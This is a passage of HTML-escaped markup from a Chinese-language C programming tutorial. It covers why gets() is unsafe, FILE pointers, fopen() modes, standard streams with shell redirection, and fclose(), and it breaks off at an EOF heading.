class=\"line\"\u003egets(words);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例使用\u003ccode\u003eputs()\u003c/code\u003e在屏幕上输出提示,然后使用\u003ccode\u003egets()\u003c/code\u003e获取用户的输入。\u003c/p\u003e\u003cp\u003e由于\u003ccode\u003egets()\u003c/code\u003e获取的字符串,可能超过字符数组变量的最大长度,有安全风险,建议不要使用,改为使用\u003ccode\u003efgets()\u003c/code\u003e。\u003c/p\u003e\u003ch2 id=\"文件操作\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"文件操作\"\u003e\u003c/a\u003e文件操作\u003c/h2\u003e\u003cp\u003e本章介绍 C 语言如何操作文件。\u003c/p\u003e\u003ch3 id=\"文件指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%96%87%E4%BB%B6%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"文件指针\"\u003e\u003c/a\u003e文件指针\u003c/h3\u003e\u003cp\u003eC 语言提供了一个 FILE 数据结构,记录了操作一个文件所需要的信息。该结构定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e,所有文件操作函数都要通过这个数据结构,获取文件信息。\u003c/p\u003e\u003cp\u003e开始操作一个文件之前,就要定义一个指向该文件的 FILE 指针,相当于获取一块内存区域,用来保存文件信息。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* fp;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例定义了一个 FILE 指针\u003ccode\u003efp\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个读取文件的完整示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE* fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;hello.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (fp == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c = fgetc(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,新建文件指针\u003ccode\u003efp\u003c/code\u003e以后,依次使用了下面三个文件操作函数,分成三个步骤。其他的文件操作,大致上也是这样的步骤。\u003c/p\u003e\u003cp\u003e第一步,使用\u003ccode\u003efopen()\u003c/code\u003e打开指定文件,返回一个 File 指针。如果出错,返回 NULL。\u003c/p\u003e\u003cp\u003e它相当于将指定文件的信息与新建的文件指针\u003ccode\u003efp\u003c/code\u003e相关联,在 FILE 结构内部记录了这样一些信息:文件内部的当前读写位置、读写报错的记录、文件结尾指示器、缓冲区开始位置的指针、文件标识符、一个计数器(统计拷贝进缓冲区的字节数)等等。后继的操作就可以使用这个指针(而不是文件名)来处理指定文件。\u003c/p\u003e\u003cp\u003e同时,它还为文件建立一个缓存区。由于存在缓存区,也可以说\u003ccode\u003efopen()\u003c/code\u003e函数“打开一个了流”,后继的读写文件都是流模式。\u003c/p\u003e\u003cp\u003e第二步,使用读写函数,从文件读取数据,或者向文件写入数据。上例使用了\u003ccode\u003efgetc()\u003c/code\u003e函数,从已经打开的文件里面,读取一个字符。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efgetc()\u003c/code\u003e一调用,文件的数据块先拷贝到缓冲区。不同的计算机有不同的缓冲区大小,一般是512字节或是它的倍数,如4096或16384。随着计算机硬盘容量越来越大,缓冲区也越来越大。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efgetc()\u003c/code\u003e从缓冲区读取数据,同时将文件指针内部的读写位置指示器,指向所读取字符的下一个字符。所有的文件读取函数都使用相同的缓冲区,后面再调用任何一个读取函数,都将从指示器指向的位置,即上一次读取函数停止的位置开始读取。\u003c/p\u003e\u003cp\u003e当读取函数发现已读完缓冲区里面的所有字符时,会请求把下一个缓冲区大小的数据块,从文件拷贝到缓冲区中。读取函数就以这种方式,读完文件的所有内容,直到文件结尾。不过,上例是只从缓存区读取一个字符。当函数在缓冲区里面,读完文件的最后一个字符时,就把 FILE 结构里面的文件结尾指示器设置为真。于是,下一次再调用读取函数时,会返回常量 EOF。EOF 是一个整数值,代表文件结尾,一般是\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e第三步,\u003ccode\u003efclose()\u003c/code\u003e关闭文件,同时清空缓存区。\u003c/p\u003e\u003cp\u003e上面是文件读取的过程,文件写入也是类似的方式,先把数据写入缓冲区,当缓冲区填满后,缓存区的数据将被转移到文件中。\u003c/p\u003e\u003ch3 id=\"fopen\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fopen\" class=\"headerlink\" title=\"fopen()\"\u003e\u003c/a\u003efopen()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efopen()\u003c/code\u003e函数用来打开文件。所有文件操作的第一步,都是使用\u003ccode\u003efopen()\u003c/code\u003e打开指定文件。这个函数的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* \u003cspan class=\"title function_\"\u003efopen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* filename, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mode)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数。第一个参数是文件名(可以包含路径),第二个参数是模式字符串,指定对文件执行的操作,比如下面的例子中,\u003ccode\u003er\u003c/code\u003e表示以读取模式打开文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;in.dat\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e成功打开文件以后,\u003ccode\u003efopen()\u003c/code\u003e返回一个 FILE 指针,其他函数可以用这个指针操作文件。如果无法打开文件(比如文件不存在或没有权限),会返回空指针 NULL。所以,执行\u003ccode\u003efopen()\u003c/code\u003e以后,最好判断一下,有没有打开成功。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;hello.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (fp == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Can\u0026#39;t open file!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果\u003ccode\u003efopen()\u003c/code\u003e返回一个空指针,程序就会报错。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efopen()\u003c/code\u003e的模式字符串有以下几种。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003er\u003c/code\u003e:读模式,只用来读取数据。如果文件不存在,返回 NULL 指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ew\u003c/code\u003e:写模式,只用来写入数据。如果文件存在,文件长度会被截为0,然后再写入;如果文件不存在,则创建该文件。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ea\u003c/code\u003e:写模式,只用来在文件尾部追加数据。如果文件不存在,则创建该文件。\u003c/li\u003e\u003cli\u003e\u003ccode\u003er+\u003c/code\u003e:读写模式。如果文件存在,指针指向文件开始处,可以在文件头部添加数据。如果文件不存在,返回 NULL 指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ew+\u003c/code\u003e:读写模式。如果文件存在,文件长度会被截为0,然后再写入数据。这种模式实际上读不到数据,反而会擦掉数据。如果文件不存在,则创建该文件。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ea+\u003c/code\u003e:读写模式。如果文件存在,指针指向文件结尾,可以在现有文件末尾添加内容。如果文件不存在,则创建该文件。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上一小节说过,\u003ccode\u003efopen()\u003c/code\u003e函数会为打开的文件创建一个缓冲区。读模式下,创建的是读缓存区;写模式下,创建的是写缓存区;读写模式下,会同时创建两个缓冲区。C 语言通过缓存区,以流的形式,向文件读写数据。\u003c/p\u003e\u003cp\u003e数据在文件里面,都是以二进制形式存储。但是,读取的时候,有不同的解读方法:以原本的二进制形式解读,叫做“二进制流”;将二进制数据转成文本,以文本形式解读,叫做“文本流”。写入操作也是如此,分成以二进制写入和以文本写入,后者会多一个文本转二进制的步骤。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efopen()\u003c/code\u003e的模式字符串,默认是以文本流读写。如果添加\u003ccode\u003eb\u003c/code\u003e后缀(表示 binary),就会以“二进制流”进行读写。比如,\u003ccode\u003erb\u003c/code\u003e是读取二进制数据模式,\u003ccode\u003ewb\u003c/code\u003e是写入二进制数据模式。\u003c/p\u003e\u003cp\u003e模式字符串还有一个\u003ccode\u003ex\u003c/code\u003e后缀,表示独占模式(exclusive)。如果文件已经存在,则打开文件失败;如果文件不存在,则新建文件,打开后不再允许其他程序或线程访问当前文件。比如,\u003ccode\u003ewx\u003c/code\u003e表示以独占模式写入文件,如果文件已经存在,就会打开失败。\u003c/p\u003e\u003ch3 id=\"标准流\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%A0%87%E5%87%86%E6%B5%81\" class=\"headerlink\" title=\"标准流\"\u003e\u003c/a\u003e标准流\u003c/h3\u003e\u003cp\u003eLinux 系统默认提供三个已经打开的文件,它们的文件指针如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003estdin\u003c/code\u003e(标准输入):默认来源为键盘,文件指针编号为\u003ccode\u003e0\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003estdout\u003c/code\u003e(标准输出):默认目的地为显示器,文件指针编号为\u003ccode\u003e1\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003estderr\u003c/code\u003e(标准错误):默认目的地为显示器,文件指针编号为\u003ccode\u003e2\u003c/code\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eLinux 系统的文件,不一定是数据文件,也可以是设备文件,即文件代表一个可以读或写的设备。文件指针\u003ccode\u003estdin\u003c/code\u003e默认是把键盘看作一个文件,读取这个文件,就能获取用户的键盘输入。同理,\u003ccode\u003estdout\u003c/code\u003e和\u003ccode\u003estderr\u003c/code\u003e默认是把显示器看作一个文件,将程序的运行结果写入这个文件,用户就能看到运行结果了。它们的区别是,\u003ccode\u003estdout\u003c/code\u003e写入的是程序的正常运行结果,\u003ccode\u003estderr\u003c/code\u003e写入的是程序的报错信息。\u003c/p\u003e\u003cp\u003e这三个输入和输出渠道,是 Linux 默认提供的,所以分别称为标准输入(stdin)、标准输出(stdout)和标准错误(stderr)。因为它们的实现是一样的,都是文件流,所以合称为“标准流”。\u003c/p\u003e\u003cp\u003eLinux 允许改变这三个文件指针(文件流)指向的文件,这称为重定向(redirection)。\u003c/p\u003e\u003cp\u003e如果标准输入不绑定键盘,而是绑定其他文件,可以在文件名前面加上小于号\u003ccode\u003e\u0026lt;\u003c/code\u003e,跟在程序名后面。这叫做“输入重定向”(input redirection)。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edemo \u0026lt; in.dat\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003edemo\u003c/code\u003e程序代码里面的\u003ccode\u003estdin\u003c/code\u003e,将指向文件\u003ccode\u003ein.dat\u003c/code\u003e,即从\u003ccode\u003ein.dat\u003c/code\u003e获取数据。\u003c/p\u003e\u003cp\u003e如果标准输出绑定其他文件,而不是显示器,可以在文件名前加上大于号\u003ccode\u003e\u0026gt;\u003c/code\u003e,跟在程序名后面。这叫做“输出重定向”(output redirection)。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edemo \u0026gt; out.dat\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003edemo\u003c/code\u003e程序代码里面的\u003ccode\u003estdout\u003c/code\u003e,将指向文件\u003ccode\u003eout.dat\u003c/code\u003e,即向\u003ccode\u003eout.dat\u003c/code\u003e写入数据。\u003c/p\u003e\u003cp\u003e输出重定向\u003ccode\u003e\u0026gt;\u003c/code\u003e会先擦去\u003ccode\u003eout.dat\u003c/code\u003e的所有原有的内容,然后再写入。如果希望写入的信息追加在\u003ccode\u003eout.dat\u003c/code\u003e的结尾,可以使用\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e符号。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edemo \u0026gt;\u0026gt; out.dat\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003edemo\u003c/code\u003e程序代码里面的\u003ccode\u003estdout\u003c/code\u003e,将向文件\u003ccode\u003eout.dat\u003c/code\u003e写入数据。与\u003ccode\u003e\u0026gt;\u003c/code\u003e不同的是,写入的开始位置是\u003ccode\u003eout.dat\u003c/code\u003e的文件结尾。\u003c/p\u003e\u003cp\u003e标准错误的重定向符号是\u003ccode\u003e2\u0026gt;\u003c/code\u003e。其中的\u003ccode\u003e2\u003c/code\u003e代表文件指针的编号,即\u003ccode\u003e2\u0026gt;\u003c/code\u003e表示将2号文件指针的写入,重定向到\u003ccode\u003eerr.txt\u003c/code\u003e。2号文件指针就是标准错误\u003ccode\u003estderr\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edemo \u0026gt; out.dat 2\u0026gt; err.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003edemo\u003c/code\u003e程序代码里面的\u003ccode\u003estderr\u003c/code\u003e,会向文件\u003ccode\u003eerr.txt\u003c/code\u003e写入报错信息。而\u003ccode\u003estdout\u003c/code\u003e向文件\u003ccode\u003eout.dat\u003c/code\u003e写入。\u003c/p\u003e\u003cp\u003e输入重定向和输出重定向,也可以结合在一条命令里面。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ demo \u0026lt; in.dat \u0026gt; out.dat\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// or\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ demo \u0026gt; out.dat \u0026lt; in.dat\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e重定向还有另一种情况,就是将一个程序的标准输出\u003ccode\u003estdout\u003c/code\u003e,指向另一个程序的标准输入\u003ccode\u003estdin\u003c/code\u003e,这时要使用\u003ccode\u003e|\u003c/code\u003e符号。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003erandom | \u003cspan class=\"built_in\"\u003esum\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003erandom\u003c/code\u003e程序代码里面的\u003ccode\u003estdout\u003c/code\u003e的写入,会从\u003ccode\u003esum\u003c/code\u003e程序代码里面的\u003ccode\u003estdin\u003c/code\u003e被读取。\u003c/p\u003e\u003ch3 id=\"fclose\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fclose\" class=\"headerlink\" title=\"fclose()\"\u003e\u003c/a\u003efclose()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efclose()\u003c/code\u003e用来关闭已经使用\u003ccode\u003efopen()\u003c/code\u003e打开的文件。它的原型定义在\u003ccode\u003estdin.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efclose\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个文件指针\u003ccode\u003efp\u003c/code\u003e作为参数。如果成功关闭文件,\u003ccode\u003efclose()\u003c/code\u003e函数返回整数\u003ccode\u003e0\u003c/code\u003e;如果操作失败(比如磁盘已满,或者出现 I/O 错误),则返回一个特殊值 EOF(详见下一小节)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (fclose(fp) != \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Something wrong.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不再使用的文件,都应该使用\u003ccode\u003efclose()\u003c/code\u003e关闭,否则无法释放资源。一般来说,系统对同时打开的文件数量有限制,及时关闭文件可以避免超过这个限制。\u003c/p\u003e\u003ch3 id=\"EOF\"\u003e\u003ca 